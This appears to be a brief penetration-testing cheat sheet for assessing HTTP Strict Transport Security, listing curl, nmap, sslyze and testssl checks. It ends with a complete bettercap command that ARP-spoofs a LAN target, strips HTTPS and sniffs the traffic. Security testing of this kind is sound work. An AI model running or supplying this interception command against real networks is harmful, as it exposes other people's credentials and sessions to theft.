HTTP Strict Transport Security

Check List

• Review the HSTS header and its validity.

Cheat Sheet

Recon Header

cURL

curl -s -D- $WEBSITE | grep -i strict

Nmap

nmap -sS -sV --mtu 5000 --script ssl-enum-ciphers $WEBSITE

Scan Vulnerabilities

sslyze

sslyze $WEBSITE

testssl.sh

testssl $WEBSITE

MitM

Bettercap

Interface Network

INTERFACE=$(ip -o -4 addr show | awk '{print $2}' | grep -v "lo" | head -n 1)

MitM on LAN

bettercap -iface $INTERFACE -eval "set arp.spoof.targets $TARGET; arp.spoof on; http.proxy on; http.proxy.sslstrip true; net.sniff on"